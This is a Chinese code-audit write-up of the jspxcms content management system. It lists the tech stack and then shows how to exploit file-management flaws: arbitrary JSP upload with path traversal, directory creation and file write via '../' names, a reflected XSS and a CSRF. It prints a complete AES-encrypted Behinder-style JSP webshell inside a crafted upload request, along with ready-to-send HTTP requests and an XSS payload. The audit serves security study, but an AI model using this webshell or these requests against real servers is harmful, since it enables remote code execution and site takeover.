项目技术栈 后端技术 SpringBoot:提供了对Spring开箱即用的功能。简化了Spring配置,提供自动配置 auto-configuration功能。
Spring:是提供了IoC等功能,是目前最流行的Java企业级开发框架。
SpringMVC:MVC框架,使用方便,Bug较少。
JPA:持久化框架。属于JSR标准,JPA实现选择最常用的Hibernate。
SpringDataJPA:对JPA封装,大部分查询只需要在接口中写方法,而不需要实现改方法,极大开发效率。
QueryDSL:实现类型安全的JPA查询,使用对象及属性实现查询,避免编写jpql出现的拼错字符及属性名记忆负担。
FreeMarker:模板组件。
Shiro:安全组件。配置简便。
Lucene:全文检索组件。实现对中文的分词搜索。
Ehcache:缓存组件。主要用在JPA二级缓存、Shiro权限缓存。
Quartz:定时任务组件。
前端技术 jQuery:JavaScript库。
Bootstrap:响应式设计前端框架。
AdminLTE:后台管理平台开源框架。
jQuery UI:基于jQuery的UI框架。
jQuery Validation:基于jQuery的表单校验框架。
UEditor:Web富文本编辑器。
Editor.md:基于Markdown语法的Web文本编辑器。
ECharts:用于生成图标的组件。
My97DatePicker:日期组件。
zTree:树组件。
项目依赖审计 项目为maven项目,因此来到pom.xml文件审计。
经审计发现,该项目引入中并不存在已披露的漏洞。
单点漏洞审计 SQL注入 cs_singlewindow_cms-master\src\main\java\com\jspxcms\core\repository\InfoDao.java(失败) 1 2 3 4 5 @Query("select count(*) from Info bean where bean.node.id in (?1) and bean.status!='" + Info.DELETED + "'") public long countByNodeIdNotDeleted (Collection<Integer> nodeIds) ;@Query("select count(*) from Info bean where bean.org.id in (?1) and bean.status!='" + Info.DELETED + "'") public long countByOrgIdNotDeleted (Collection<Integer> orgIds) ;
发现这里使用了动态拼接,但是参数无法控制。
cs_singlewindow_cms-master\src\main\java\com\jspxcms\core\repository\impl\MessageDaoImpl.java(失败) 1 2 3 4 5 6 7 8 9 10 private JpqlBuilder groupByUserId (Integer userId, boolean unread) { ...省略... if (unread) { jb.append("having number_of_unread_>0" ); jb.setCountQueryString("select count(*) from (" + jb.getQueryString() + ")" ); } else { jb.setCountProjection("distinct contact_id_" ); } ...省略... }
未被控制器调用。
审计了删改增也没有发现漏洞,虽然也存在动态拼接但是也都无法操控。
任意文件操控 我们来到文件上传的控制器
src/main/java/com/jspxcms/core/web/back/WebFileUploadsController.java(成功) 上传 控制器:
1 2 3 4 5 6 7 @RequiresPermissions("core:web_file_2:upload") @RequestMapping("upload.do") public void upload (@RequestParam(value = "file", required = false) MultipartFile file, String parentId, HttpServletRequest request, HttpServletResponse response) throws IllegalStateException, IOException { super .upload(file, parentId, request, response); }
文件上传的实现函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected void upload (MultipartFile file, String parentId, HttpServletRequest request, HttpServletResponse response) throws IllegalStateException, IOException { Site site = Context.getCurrentSite(); String base = getBase(site); if (!Validations.uri(parentId, base)) { throw new CmsException ("invalidURI" , parentId); } FileHandler fileHandler = getFileHandler(site); fileHandler.store(file, parentId); logService.operation("opr.webFile.upload" , parentId + "/" + file.getOriginalFilename(), null , null , request); logger.info("upload file, name={}." , parentId + "/" + file.getOriginalFilename()); Servlets.writeHtml(response, "true" ); }
这个函数的大概功能是获取站点信息,验证传入的参数,然后保存文件,再把文件的信息写入日志。
1 2 3 4 public static boolean uri (String value, String prefix) { return !StringUtils.contains(value, ".." ) && StringUtils.startsWith(value, prefix); }
这里是存在一个过滤的,且过滤了’..’,但是奇怪的是,过滤的parentId而不是文件名,且没有修改文件名,甚至没有对后缀的校验,所以这里是存在任意文件上传和目录穿透的,然后这个项目还会解析JSP,但是需要放到webapp下的JSP文件夹,不过这里还有一个目录穿透所以这就不是问题了,来到前端的功能点。
上传文件后抓包,得到如下数据包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 POST /cmscp/core/web_file_2/upload.do?_site=1 HTTP/1.1 Host : 192.168.227.43:8888Content-Length : 2387X-Requested-With : XMLHttpRequestUser-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html, */*; q=0.01Content-Type : multipart/form-data; boundary=----WebKitFormBoundaryZzeGAny76zA7fCmaOrigin : http://192.168.227.43:8888Referer : http://192.168.227.43:8888/cmscp/core/web_file_2/list.do?parentId=%2F1Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : select_id=%2F1; open_ids=%2F1; _site=1; JSESSIONID=526DEDE9E36FE99249985E52A100BE8EConnection : close------WebKitFormBoundaryZzeGAny76zA7fCma Content-Disposition: form-data; name="parentId" /1 ------WebKitFormBoundaryZzeGAny76zA7fCma Content-Disposition: form-data; name="file" ; filename="shell.jsp" Content-Type: application/octet-stream <%@page import ="java.util.*,java.io.*,javax.crypto.*,javax.crypto.spec.*" %> <%! private byte [] Decrypt(byte [] data) throws Exception { String k="e45e329feb5d925b" ; javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES/ECB/PKCS5Padding" );c.init(2 ,new javax.crypto.spec.SecretKeySpec(k.getBytes(),"AES" )); byte [] decodebs; Class baseCls ; try { baseCls=Class .forName("java.util.Base64" ); Object Decoder=baseCls.getMethod("getDecoder" , null ).invoke(baseCls, null ); decodebs=(byte []) Decoder.getClass().getMethod("decode" , new Class []{byte [].class }).invoke(Decoder, new Object[]{data}); } catch (Throwable e) { baseCls = Class .forName("sun.misc.BASE64Decoder" ); Object Decoder=baseCls.newInstance(); decodebs=(byte []) Decoder.getClass().getMethod("decodeBuffer" ,new Class []{String.class }).invoke(Decoder, new Object[]{new String(data)}); } return c.doFinal(decodebs); } %> <%!class U extends ClassLoader{U(ClassLoader c){super (c);}public Class g(byte []b){return super .defineClass(b,0 ,b.length);}}%><%if (request.getMethod().equals("POST" )){ ByteArrayOutputStream bos = new ByteArrayOutputStream(); byte [] buf = new byte [512 ]; int length=request.getInputStream().read (buf); while (length>0 ) { byte [] data= Arrays.copyOfRange(buf,0 ,length); bos.write (data); length=request.getInputStream().read (buf); } out.clear(); out=pageContext.pushBody(); new U(this .getClass().getClassLoader()).g(Decrypt(bos.toByteArray())).newInstance().equals(pageContext);} %> ------WebKitFormBoundaryZzeGAny76zA7fCma--
修改文件名为../../jsp/shell.jsp,之后我们访问192.168.227.43:8888/shell.jsp ,会发现没有提示404也就是传马成功了,我们使用冰蝎链接,并输入calc命令弹出计算机,可见命令成功执行。
下载 控制器:
1 2 3 4 5 6 @RequiresPermissions("core:web_file_2:zip_download") @RequestMapping("zip_download.do") public void zipDownload (HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { super .zipDownload(request, response, ra); }
压缩下载实现函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 protected void zipDownload (HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { Site site = Context.getCurrentSite(); FileHandler fileHandler = getFileHandler(site); if (!(fileHandler instanceof LocalFileHandler)) { throw new CmsException ("ftp cannot support ZIP." ); } LocalFileHandler localFileHandler = (LocalFileHandler) fileHandler; String[] ids = Servlets.getParamValues(request, "ids" ); String base = getBase(site); File[] files = new File [ids.length]; for (int i = 0 , len = ids.length; i < len; i++) { if (!Validations.uri(ids[i], base)) { throw new CmsException ("invalidURI" ); } files[i] = localFileHandler.getFile(ids[i]); } response.setContentType("application/x-download;charset=UTF-8" ); response.addHeader("Content-disposition" , "filename=download_files.zip" ); try { AntZipUtils.zip(files, response.getOutputStream()); } catch (IOException e) { logger.error("zip error!" , e); } }
这段代码的核心功能就是从请求获取所有的文件,然后遍历这些文件,打包到压缩包里边。分析得出在这一部分检测了文件名的’..’所以这里是不存在任意文件下载的。
创建 控制器:
1 2 3 4 5 6 @RequiresPermissions("core:web_file_2:mkdir") @RequestMapping(value = "mkdir.do", method = RequestMethod.POST) public String mkdir (String parentId, String dir, HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { return super .mkdir(parentId, dir, request, response, ra); }
功能实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 protected String mkdir (String parentId, String dir, HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { Site site = Context.getCurrentSite(); parentId = parentId == null ? "" : parentId; String base = getBase(site); if (StringUtils.isBlank(parentId)) { parentId = base; } if (!Validations.uri(parentId, base)) { throw new CmsException ("invalidURI" ); } FileHandler fileHandler = getFileHandler(site); boolean success = fileHandler.mkdir(dir, parentId); if (success) { logService.operation("opr.role.add" , parentId + "/" + dir, null , null , request); logger.info("mkdir file, name={}." , parentId + "/" + dir); } ra.addFlashAttribute("refreshLeft" , true ); ra.addAttribute("parentId" , parentId); ra.addFlashAttribute(MESSAGE, success ? OPERATION_SUCCESS : OPERATION_FAILURE); return "redirect:list.do" ; }
这个代码是在上传文件中的新建文件夹中,经过审计我发现,这里虽存在拦截,但是拦截的对象是parentId。而dir未被拦截,所以我们可以构造如下的数据包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /cmscp/core/web_file_2/mkdir.do HTTP/1.1 Host : 172.21.87.148:8888Content-Length : 25Cache-Control : max-age=0Origin : http://172.21.87.148:8888Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://172.21.87.148:8888/cmscp/core/web_file_2/list.doAccept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : select_id=%2F1; open_ids=%2F1; _site=1; JSESSIONID=CA7DD070F74CFE10991C0475CE82606DConnection : closeparentId=%2 F1&dir=../../ ../../ ../test
就可以实现在项目的根路径下创建一个test文件夹。
控制器:
1 2 3 4 5 6 @RequiresPermissions("core:web_file_2:save") @RequestMapping(value = "save.do", method = RequestMethod.POST) public String save (String parentId, String name, String text, String redirect, HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { return super .save(parentId, name, text, redirect, request, response, ra); }
功能实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 protected String save (String parentId, String name, String text, String redirect, HttpServletRequest request, HttpServletResponse response, RedirectAttributes ra) throws IOException { Site site = Context.getCurrentSite(); String base = getBase(site); if (!Validations.uri(parentId, base)) { throw new CmsException ("invalidURI" ); } FileHandler fileHandler = getFileHandler(site); fileHandler.store(text, name, parentId); logService.operation("opr.webFile.add" , parentId + "/" + name, null , null , request); logger.info("save file, name={}." , parentId + "/" + name); ra.addFlashAttribute("refreshLeft" , true ); ra.addAttribute("parentId" , parentId); ra.addFlashAttribute(MESSAGE, SAVE_SUCCESS); if (Constants.REDIRECT_LIST.equals(redirect)) { return "redirect:list.do" ; } else if (Constants.REDIRECT_CREATE.equals(redirect)) { return "redirect:create.do" ; } else { ra.addAttribute("id" , parentId + "/" + name); return "redirect:edit.do" ; } }
这里也是同样的漏洞,仅过滤了parentId而没有过滤name参数,所以这里也有目录穿透,新建一个文档,输入success,然后抓包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /cmscp/core/web_file_2/save.do HTTP/1.1 Host : 172.21.87.148:8888Content-Length : 89Cache-Control : max-age=0Origin : http://172.21.87.148:8888Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://172.21.87.148:8888/cmscp/core/web_file_2/create.do?parentId=%2F1&Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : select_id=%2F1; open_ids=%2F1; _site=1; JSESSIONID=CA7DD070F74CFE10991C0475CE82606DConnection : closeorigName = & parentId=%2F 1&position =&redirect =edit&name =test.html& baseName = test&text =success
将name参数修改为../../../../../test.html即可在项目根目录下创建一个test.html文件。
不仅如此,我们还发现他也没有对后缀进行任何的过滤,因此,我们可以尝试直接写一个马上去,而且这里甚至不需要使用目录穿透,因为他没有对文件内容进行过滤,所以我们可以直接在jsp文件夹里边写马,如下:
冰蝎链接后执行命令:
XSS 经过审计和前端测试,该项目也是存在多个XSS,所以这里只拿出一个较有价值的反射型XSS。
1 2 3 4 5 6 7 8 9 10 11 @RequiresPermissions("core:homepage:mail_inbox:list") @RequestMapping(value = "mail_inbox_list.do") public String mailInboxList (@RequestParam(defaultValue = "false") boolean unread, @PageableDefault(sort = "receiveTime", direction = Direction.DESC) Pageable pageable, HttpServletRequest request, org.springframework.ui.Model modelMap) { User user = Context.getCurrentUser(); Map<String, String[]> params = Servlets.getParamValuesMap(request, Constants.SEARCH_PREFIX); Page<MailInbox> pagedList = inboxService.findAll(user.getId(), params, pageable); modelMap.addAttribute("pagedList" , pagedList); return "core/homepage/mail_inbox_list" ; }
这个控制器的大致逻辑是先检测用户的权限,然后从请求体中获取传参,然后传入findALL进行查找,返回分页后的结果,然后再把结果渲染进模板中最后返回到前端。可见这里并没有对XSS进行过滤或者拦截,我们定位到前端的系统消息-列表的搜索功能点。
URL如下:
1 http://172.21.87.148:8888/cmscp/core/homepage/mail_inbox_list.do?search_CONTAIN_mailText.subject=test
我们开始构造XSSpayload:
1 "><img%20src=x onerror=alert('xss')><
访问一下:
其余的搜索框也是一样的漏洞。
CSRF 我们来到TAG管理这里,新建一个TAG,抓包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 POST /cmscp/core/tag/save.do HTTP/1.1 Host : 172.21.87.148:8888Content-Length : 52Cache-Control : max-age=0Origin : http://172.21.87.148:8888Content-Type : application/x-www-form-urlencodedUpgrade-Insecure-Requests : 1User-Agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Edg/131.0.0.0Accept : text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer : http://172.21.87.148:8888/cmscp/core/tag/create.do?Accept-Encoding : gzip, deflateAccept-Language : zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6Cookie : _site=1; JSESSIONID=FE1E77A0FA48CA0F95810E8740DBB51EConnection : closeoid = &position =&redirect =edit&name =CSRF& creationDate =
创建CSRF的POC然后模拟管理员访问该链接。
成功。 至此该项目审计结束。